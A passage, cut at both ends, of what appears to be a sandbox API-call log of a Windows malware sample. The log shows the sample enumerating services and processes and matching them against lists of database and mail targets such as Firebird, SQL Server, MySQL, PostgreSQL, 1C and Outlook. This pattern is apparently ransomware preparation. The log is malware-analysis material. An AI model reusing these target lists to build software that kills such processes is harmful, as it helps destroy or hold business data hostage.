(lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.635] lstrlenW (lpString="eventlog") returned 8 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.635] lstrlenW (lpString="EventSystem") returned 11 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.636] lstrlenW (lpString="gpsvc") returned 5 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.636] lstrlenW (lpString="iphlpsvc") returned 8 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.636] lstrlenW (lpString="LanmanServer") returned 12 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.636] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.636] lstrlenW (lpString="lmhosts") returned 7 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.636] lstrlenW (lpString="MMCSS") returned 5 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.636] lstrlenW (lpString="MpsSvc") returned 6 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.637] lstrlenW (lpString="Netman") returned 6 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.637] lstrlenW (lpString="netprofm") returned 8 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.637] lstrlenW (lpString="NlaSvc") returned 6 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.637] lstrlenW (lpString="nsi") returned 3 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.637] lstrlenW (lpString="PcaSvc") returned 6 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.637] lstrlenW (lpString="PlugPlay") returned 8 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.637] lstrlenW (lpString="Power") returned 5 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.637] lstrlenW (lpString="ProfSvc") returned 7 [0055.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.637] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.638] lstrlenW (lpString="RpcSs") returned 5 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.638] lstrlenW (lpString="SamSs") returned 5 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.638] lstrlenW (lpString="Schedule") returned 8 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.638] lstrlenW (lpString="SENS") returned 4 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.638] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.638] lstrlenW (lpString="Spooler") returned 7 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.638] lstrlenW (lpString="swprv") returned 5 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.638] lstrlenW (lpString="SysMain") returned 7 [0055.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.638] lstrlenW (lpString="Themes") returned 6 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.639] lstrlenW (lpString="TrkWks") returned 6 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.639] lstrlenW (lpString="UxSms") returned 5 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.639] lstrlenW (lpString="VSS") returned 3 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.639] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.639] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.639] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.639] lstrlenW (lpString="Winmgmt") returned 7 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.639] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.639] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.639] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.639] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0055.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x244 [0055.643] Process32FirstW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.643] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.643] lstrlenW (lpString="System") returned 6 [0055.643] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.643] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.643] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.643] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.643] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.643] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.643] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.643] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.644] lstrlenW (lpString="smss.exe") returned 8 [0055.644] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.644] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.644] lstrlenW (lpString="csrss.exe") returned 9 [0055.644] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.644] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.644] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.644] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.645] lstrlenW (lpString="wininit.exe") returned 11 [0055.645] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.645] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.645] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.645] lstrlenW (lpString="csrss.exe") returned 9 [0055.645] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.646] lstrlenW (lpString="winlogon.exe") returned 12 [0055.646] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.646] lstrlenW (lpString="services.exe") returned 12 [0055.646] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.646] lstrlenW (lpString="lsass.exe") returned 9 [0055.646] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.647] lstrlenW (lpString="lsm.exe") returned 7 [0055.647] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.647] lstrlenW (lpString="svchost.exe") returned 11 [0055.647] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.647] lstrlenW (lpString="svchost.exe") returned 11 [0055.647] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.648] lstrlenW (lpString="svchost.exe") returned 11 [0055.648] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.648] lstrlenW (lpString="svchost.exe") returned 11 [0055.648] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.649] lstrlenW (lpString="svchost.exe") returned 11 [0055.649] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.649] lstrlenW (lpString="audiodg.exe") returned 11 [0055.649] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.649] lstrlenW (lpString="svchost.exe") returned 11 [0055.649] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.650] lstrlenW (lpString="svchost.exe") returned 11 [0055.650] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.650] lstrlenW (lpString="dwm.exe") returned 7 [0055.650] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.650] lstrlenW (lpString="explorer.exe") returned 12 [0055.650] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.651] lstrlenW 